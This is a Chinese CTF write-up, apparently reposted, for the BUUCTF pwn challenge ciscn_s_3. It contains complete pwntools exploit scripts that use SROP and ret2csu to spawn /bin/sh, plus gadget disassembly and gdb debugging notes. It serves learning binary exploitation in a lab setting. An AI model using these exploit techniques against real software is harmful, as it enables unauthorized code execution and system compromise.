当前位置: 首页 > news >正文

buuctf-ciscn_s_3

一、srop

参考文章-博客园-wudiiv11(作者)-BUUCTF-ciscn_2019_s_3
参考文章-博客园-z2yh(作者)-Srop 原理与利用方法
在这里插入图片描述
在这里插入图片描述

vlun函数中没有分配栈帧(指rsp没有增长,也没有压入父函数的rbp,这也导致之后的构造payload的时候不需要填充rbp的那8个字节)
首先看中间这一栏,要找binsh的地址,即写入参数的地址,在read函数后打断点,(此时最上面一行rsp=rbp的这一行时写入地址+0x10的位置),在此时stack中找到一个栈上的地址,减去offset =该地址 -(rsp-0x10),就是binsh addr
接下来验证
再看右侧这一栏,打印出来binsh addr,在最后测可以看到输出结果,再在中间遮拦使用x/s命令查看该地址的内容,验证确实为索要得到的内容
在这里插入图片描述

from pwn import * 
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 0
if ifRemote:io = remote("node4.buuoj.cn",26390)
else:io = process("./ciscn_s_3")
popRdiRet = 0x4005a3
syscall_addr = 0x400501
setRax = 0x4004da
main = 0x4004ED
mainWithoutStackSet = 0x4004f1def debug():gdb.attach(io)pause()
payload = b'/bin/sh\x00'+b'a'*(0x8) +p64(main)
io.send(payload)print(io.recv(len(payload)+8))
binsh_addr = u64(io.recv(8)) -0x148
print(hex(binsh_addr))
# debug()
# payload = b'shsh\x00'+b'b'*(0x8+8) 
# io.sendline(payload)
# print(io.recvall())frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = b'a'*(0x10+8)+p64(setRax)+p64(syscall_addr)+str(frame)
io.sendline(payload)
io.interactive()

结果本地可以打通

远程打不通

使用以下命令,修改文件的libc
如何使用patchelf修改文件libc参见:
这篇文章的相应段落
在这里插入图片描述

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3
patchelf --replace-needed libc.so.6 /home/iront/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3 

在这里插入图片描述
(ps:有个奇怪的地方是:rsp的位置好像不在预期的地方,这里没有进行深入的探究)
找到写入的binsh的位置,
在这里插入图片描述
发现先此时偏移量变为了0x118

修改后的exp,其实只把0x148改成了0x118

二、ret2csu

参考博文:CSDN-西杭(作者)-中级ROP之ret2csu
__libc_csu_init函数:

.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0                 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0                 push    r15
.text:00000000004011B2                 mov     r15, rdx
.text:00000000004011B5                 push    r14
.text:00000000004011B7                 mov     r14, rsi
.text:00000000004011BA                 push    r13
.text:00000000004011BC                 mov     r13d, edi
.text:00000000004011BF                 push    r12
.text:00000000004011C1                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004011C8                 push    rbp
.text:00000000004011C9                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0                 push    rbx
.text:00000000004011D1                 sub     rbp, r12
.text:00000000004011D4                 sub     rsp, 8
.text:00000000004011D8                 call    _init_proc
.text:00000000004011DD                 sar     rbp, 3
.text:00000000004011E1                 jz      short loc_4011FE
.text:00000000004011E3                 xor     ebx, ebx
.text:00000000004011E5                 nop     dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp

gadgets1:

.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0

gadgets2

.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8

gadgets2
在这里插入图片描述

通用payload

payload = b'a'*(0x10) +p64(main)
io.send(payload)
print(io.recv(len(payload)+8))
binsh_addr = u64(io.recv(8)) -0x118
print(hex(binsh_addr))# rdx = r15;rsi = r14;rdi(edi) = r13;r12=存放需要调用的函数地址的地址
setRaxForExecv = 0x4004e2
# 有些exp中用的是0x40059A,就是一个add esp 8的区别,那么相应的就在构造payload的时候少填充一个8字节,下面涉及到再说
first_csu = 0x400596
second_csu = 0x400580
def ret_csu():#构造栈溢出点的paddingpayload = '/bin/sh\x00' + p64(setRaxForExecv)# 下面这行填充的p64(0)就是为了填充add rsp, 8#first_csu为gadgets1的地址payload += p64(first_csu) + p64(0)#使得gadgets2中的while循环能够退出不至于死循环payload += p64(0) + p64(1)  # rbx=0, rbp=1 # 这里是用作gadget2中的call指令,call  [r12+rbx*8]# 由于rbx设置为0,所以r12的地址处应存放一个gadget的地址# 这里设置r12的值为 binsh_addr + 8,binsh_addr+8处存放将rax设置为execv系统调用号的gadgetpayload += p64(binsh_addr+8) # r12 = #三个参数的寄存器payload += p64(0)*3 # r13 r14 r15# gadgets2的地址payload += p64(second_csu)#gadgets2结束后再次执行gadgets1中的内容,会pop出的6个栈的内容+到寄存器1个add esp+8所以paddding的内容为7*8长度payload += p64(0)*7#函数最后的返回地址payload += p64(popRdiRet) + p64(binsh_addr)payload+= p64(syscall_addr)return payload

ret2csu动态调试

从动态调试角度,解释上述脚本构造原因
在这里设下断点开始调试
在这里插入图片描述
程序停在这里(ps,我wsl这台机器里需要在输入命令的界面(非gdb界面)按下两次回车才能开始在gdb中继续调试程序)
在这里插入图片描述
在这里插入图片描述
一路ni到ret指令,程序执行流被劫持到csu_init函数的gadget1位置

在这里插入图片描述
这里执行一次add rsp ,8,将栈抬高了8字节,用p64(0)填充上,然后为rbp,rbx赋值,分别为1,0(原因之后遇到了相关判断再分析)
接下来pop r12,r12是用于接下来的call指令的,
在接下来连续三个pop r13,r14,r15,分别对应rdx,rsi,rdi的值,都赋值为0即可,(execve的第2、3个参数分别为rsi、rdx,均需要为0),所以此处对应p64(0)*3
在这里插入图片描述
继续ni到gadget1的ret

在这里插入图片描述
此时执行了call指令,执行为rax赋值的操作
在这里插入图片描述
执行完rax赋值之后,回到gadgets2中,
在这里插入图片描述
此时进行cmp比较rbx,rbp+1,如果不相等则回到循环,这也是为什么payload中设置rbp = 1,rbx = 0
在这里插入图片描述

在这里插入图片描述
在接下来程序执行一个rsp + 8和6个pop
所以payload中填充p64(0)*7
在这里插入图片描述
再接着就继续执行到pop rdi和syscall了
在这里插入图片描述

http://www.lryc.cn/news/171648.html

相关文章:

  • 3D模型格式转换工具HOOPS Exchange协助Epic Games实现CAD数据轻松导入虚幻引擎
  • Linux- inode vnode
  • 不来看看?通过Python实现贪吃蛇小游戏
  • C# linq初探 使用linq查询数组中元素
  • 使用线程池进行任务处理
  • ES6之Map和Set有什么不同?
  • Java中的集合
  • 9.4.2servlet基础2
  • 嵌入式学习 - 用电控制电
  • QCA组态如何科学命名?
  • 外贸行业中常用的邮箱推荐
  • 高性能实践
  • 说说hashCode() 和 equals() 之间的关系?
  • 算法通关村-----图的基本算法
  • 基于随机森林+小型智能健康推荐助手(心脏病+慢性肾病健康预测+药物推荐)——机器学习算法应用(含Python工程源码)+数据集(二)
  • stm32学习-芯片系列/选型
  • LeetCode //C - 200. Number of Islands
  • 使用Python构建强大的网络爬虫
  • 图像处理之《基于语义对象轮廓自动生成的生成隐写术》论文精读
  • Java 字节流
  • 华硕电脑怎么录屏?分享实用录制经验!
  • python学习--python的异常处理机制
  • nacos+Dubbo整合快速入门
  • QT实现钟表
  • 准备我们心爱的IDEA写Jsp
  • 将近 5 万字讲解 Python Django 框架详细知识点(更新中)
  • Arcgis提取每个像元的多波段反射率值
  • JavaScript面试题整理(一)
  • 数据结构:树和二叉树之-堆排列 (万字详解)
  • 爬虫入门基础:深入解析HTTP协议的工作过程